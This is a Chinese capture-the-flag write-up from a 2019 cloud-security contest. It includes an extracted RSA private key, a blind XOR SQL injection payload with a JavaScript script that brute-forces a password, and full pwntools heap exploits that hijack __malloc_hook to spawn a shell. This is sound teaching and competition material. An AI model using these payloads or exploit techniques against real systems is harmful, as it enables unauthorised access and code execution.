"数字经济"云安全公测大赛 WriteUp

  • 2019 年 10 月 7 日
  • 笔记

Web

gameapp 解题思路

Java 和 python 的 RSA 私钥加密略有不同,所以不浪费时间,直接从 apk 里抠出来加密部分,注意需要处理一下 base64 部分

GameApp.java

package ctf;    import java.security.Key;  import java.security.KeyFactory;  import java.security.interfaces.RSAPrivateKey;  import java.security.spec.PKCS8EncodedKeySpec;  import java.util.Base64;  import java.util.Base64.Decoder;  import java.util.Base64.Encoder;  import java.util.HashMap;  import java.util.Map;  import javax.crypto.Cipher;    public class GameApp {      private static Map<Integer, String> keyMap = new HashMap();      public static void genKeyPair() {          keyMap.put(Integer.valueOf(0), "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMYnImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8anYFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHEnA3Hau/DTzW4g4xhvzQIDAQAB");          keyMap.put(Integer.valueOf(1), "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVanXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8nUUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4LnUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuWncEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/en1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYEnrBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsmnA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcbnUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4nsj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosHnz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5mn+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tufnlq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchunKMtF7eEv1kHS+3Wd");      }      public static String private_encrypt(String paramString) throws Exception {          Decoder decoder = Base64.getDecoder();          Object localObject = decoder.decode(keyMap.get(Integer.valueOf(1)).replaceAll("n", "").getBytes());          localObject = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec((byte[])localObject));          Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");          localCipher.init(1, (Key)localObject);          Encoder encoder = Base64.getEncoder();          return encoder.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8")));      }      public static void main(String[] args) throws Exception {          genKeyPair();          System.out.println(private_encrypt("{"player":"virink_tql"}"));          System.out.println();          System.out.println(private_encrypt("{"op":"add","score":100}"));      }  }    

运行后得到 login 和 addscore 加密后的数据,发送给服务端即可

注意需要处理 cookie,每次请求后的 cookie 都会更新


Inject4Fun 解题思路

试了一下好像^注入可以,过滤了ascii

substr可用

admin' ^ (length(password)=32) ^ '1

密码长度是32位

admin' ^ (substr(password,1,1)='a') ^ '1

弱弱的写下另一个思路,直接在console敲代码

注意需要处理 cookie,每次请求后的 cookie 都会更新

function randomPassword(size)  {    var seed = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','P','Q','R','S','T','U','V','W','X','Y','Z',    'a','b','c','d','e','f','g','h','i','j','k','m','n','p','Q','r','s','t','u','v','w','x','y','z',    '2','3','4','5','6','7','8','9'    );    seedlength = seed.length;    var createPassword = '';    for (i=0;i<size;i++) {      j = Math.floor(Math.random()*seedlength);      createPassword += seed[j];    }    return createPassword;  }      function encode(username, password){      var a = randomPassword(16);      var key = CryptoJS.enc.Latin1.parse(a);      var iv =    CryptoJS.enc.Latin1.parse('1234567890123456');      var data1 = username;      var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });      var data2 = password;      var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });        $('#username').val(encrypted1);      $('#password').val(encrypted2);      var password = $('#password').val();      var username = $('#username').val();        var rsa = new RSAKey();      var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B";      var exponent = "010001";      rsa.setPublic(modulus, exponent);      var res = rsa.encrypt(a);        return [username, password, res]    }  // wrong password  // wrong user  var password = '';  var strings = 'abcdefghijklmnopqrstuvwxyz0123456789';    function get_password(i, j) {      if(i > 32 || j > 36) return;      var x =  strings[j];      var username = "' ^ (substr(password," + i +",1)='" +x+"') ^ '1";      res = encode(username, 'admin');      $.ajax({        type:"post",        url:"login.php",        data: {username:res[0], password:res[1], code:res[2]},        dataType: 'text',        async : false,        success:function(result){          if(result == 'wrong user') {            // console.log(result);            get_password(i, ++j);          } else {            password += x;            console.log(password);            get_password(++i, 0);          }        }      });  }  get_password(1, 0);      

会爆栈,别问我为什么用递归,谁知道用for循环它只执行一次,所以可以分几次跑,修改一下get_password的参数。

用chamd5.org查出来密码是admin123password321,登陆即可获得flag

Misc

findme

注意需要处理 cookie,每次请求后的 cookie 都会更新

from pwn import *  #context.log_level='debug'  ip='121.40.216.20'  # ip='127.0.0.1'  port=9999  p=remote(ip,port)  g='0'  s='100000000000000000000000000000000'  def num2str(num):      return hex(num).replace('0x','').replace('L','')    def pad(num1,num2):      p.sendline(g)      p.sendlineafter('s',s)      p.sendlineafter('g1',num2str(num1))      p.sendlineafter('g2',num2str(num2))      flag=p.recvuntil('g')      print(flag)      if '1' in flag:          return True      else:          return False  l=0  r=pow(2,128)  while (r-l)>3:      t=(r-l)/3      m1=l+t      m2=m1+t      if pad(l,m1):          r=m1      else:          if pad(m1,m2):              l=m1              r=m2          else:              l=m2    for i in range(r-l):      pad(l+i,l+i)    

ewm

解题思路

用 ps 拼个图 ,扫一下就出来了

PWN

amazon

解题思路 泄露libc,heap地址后,利用double_free 攻击small_bin 来构造overlap chunk(由于main_arena的top指针会被覆盖,所以后期不能从top_chunk分配,之前就要构造好chunk结构),最后利用tcache poisoning覆盖到malloc_hook与realloc_hook

from pwn import *    #context.log_level = 'debug'    p = process('./amazon')  #p=remote("121.41.38.38",9999)  libc=ELF("./libc-2.27.so")    def g(p,data=False):      gdb.attach(p,data)      raw_input()    def ru(x):      return p.recvuntil(x)    def se(x):      p.send(x)    def sl(x):      p.sendline(x)    def rl():      return p.recvline()    def re(x):      return p.recv(x)    def add(idx,price,length,data):      ru("Your choice: ")      sl(str(1))      ru("uy: ")      sl(str(idx))      ru("many: ")      sl(str(price))      ru("note: ")      sl(str(length))      ru("tent: ")      se(data)    def add2(idx,price,length):      ru("Your choice: ")      sl(str(1))      ru("uy: ")      sl(str(idx))      ru("many: ")      sl(str(price))      ru("note: ")      sl(str(length))    def show():      ru("Your choice: ")      sl(str(2))    def free(idx):      ru("Your choice: ")      sl(str(3))      ru("for: ")      sl(str(idx))      add(1,0x10,0x90,"1"*8)  add(1,0x10,0x80,p64(0))  free(1)  add(1,0x10,0x30,"3"*8)  free(2)  add(1,0x10,0x20,";$0x00")  add(1,0x10,0x20,"2"*8)  free(0)  free(0)  show()  ru("Name: ")  heap=u64(re(6).ljust(8,"x00"))-0x260  print hex(heap)    for i in range(6):      free(0)    show()  ru("Name: ")  lib=u64(re(6).ljust(8,"x00"))-0x3ebca0  print hex(lib)    hook=libc.symbols["__malloc_hook"]  hook=lib+hook  print hex(hook)  one=lib+0x10a38c  realloc=lib+libc.symbols["realloc"]    add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2)    add(1,0x10,0x90,"1"*8)    add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2)  add(1,0x10,0x20,p64(hook-0x28))  add(1,0x10,0x30,"wwe")    add(1,0x10,0x30,p64(one)+p64(realloc+0x9))    add2(1,1,0x60)    p.interactive()  

fkroman

解题思路

爆破stdout 泄露libc,利用fastbin attack 劫持__malloc_hook

注意需要处理 cookie,每次请求后的 cookie 都会更新

from pwn import *  context.log_level = 'debug'  def rv():      p.recv()    def ru(data):      p.recvuntil(data)    def sl(data):      p.sendline(data)    def sd(data):      p.send(data)    def add(idx,size):      ru("choice: ")      sl("1")      rv()      sl(str(idx))      rv()      sl(str(size))    def free(idx):      ru("choice: ")      sl("3")      rv()      sl(str(idx))    def edit(idx , size , data):      ru("choice: ")      sl("4")      rv()      sl(str(idx))      rv()      sl(str(size))      rv()      sd(data)    for i in range(100):      try:          #p= process("./fkroman")          p=remote("121.40.246.48","9999")          add(0,0xa0)          add(1,0x60)          add(2,0x60)          free(0)          add(3,0x60)          edit(3,2,"xddx25")          free(1)          free(2)          edit(2,1,"x00")          add(4,0x60)          add(5,0x60)          add(6,0x60)          payload = "a"*3 +p64(0)*6 + p64(0xfbad1800) + p64(0)*3+"x00"          edit(6,len(payload) , payload)          libc_base = u64(p.recvuntil("x7f")[-6:].ljust(8,"x00")) - 0x7ffff7dd2600 + 0x00007ffff7a0d000          #repair fastbin          free(4)          edit(4,8,p64(libc_base -0x7ffff7a0d000+ 0x7ffff7dd1aed ))          add(7,0x60)          add(7,0x60)          payload = "a"*3 + p64(0)*2+p64(libc_base + 0xf1147)          gdb.attach(p)          edit(7,len(payload),payload)          add(9,0x20)          p.interactive()      except:          print i      

还有上次byte_ctf 的mul_note做法,

from pwn import *  context.log_level = 'debug'  def add(idx,size):      p.sendlineafter("choice: ","1")      p.sendlineafter("Index: ",str(idx))      sleep(0.1)      p.sendlineafter("Size: ",str(size))    def free(idx):      p.sendlineafter("choice: ","3")      p.sendlineafter("Index: ",str(idx))    def edit(idx,size,data):      p.sendlineafter("choice: ","4")      p.sendlineafter("Index: ",str(idx))      sleep(0.1)      p.sendlineafter("Size: ",str(size))      p.sendafter("Content: ",data)      for i in range(1000):      try:          #p = process("./fkroman")          p = remote("121.40.246.48","9999")          add(0,0x10)          add(1,0xe0)          add(2,0x10)          add(3,0xe0)          add(4,0xe0)          add(5,0xe0)          add(9,0xe0)          add(10,0x68)          free(1)          edit(1,10,"a"*8+"xe8x37n")          #modify global_max_fast          p.sendline("")          add(6,0xe0)          free(3)          edit(3,2,"xcfx25n")          p.sendline("")          add(7,0xe0)          add(7,0xe0)          payload = "a"+p64(0)*7+p64(0xf1)+p64(0xfbad1887)+p64(0)*3+"x00"+"n"          edit(7,len(payload),payload)          libc_base = u64(p.recvuntil("xffx7f").ljust(8,"x00"))-0x7ffff7a89b00+0x00007ffff7a0d000          log.info(hex(libc_base))          gdb.attach(p)          p.sendline("")          p.recv()          p.recv()          p.sendline("")          p.recv()          p.sendline("3")          p.recv()          p.sendline("5")          free(10)          edit(10,8,p64(libc_base -0x00007ffff7a0d000 + 0x7ffff7dd1aed))          p.sendline("")          p.recv()          p.sendline("")          p.recv()          p.sendline("1")          p.recv()          p.sendline("11")          p.recv()          p.sendline(str(0x68))          add(11,0x68)          one_gadget = libc_base + 0xf1147          #edit(11,0x30,"aaa"+p64(0) + p64(libc_base +0x7ffff7dd1b10 -0x7ffff7a0d000 ) +p64(one_gadget))          edit(11,0x30,"aaa"+p64(0) + p64(0) +p64(one_gadget))          p.sendline("")          #free(10)          #free(10)          add(11,0x10)          p.interactive()      except:          print i    

招新小广告

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系[email protected]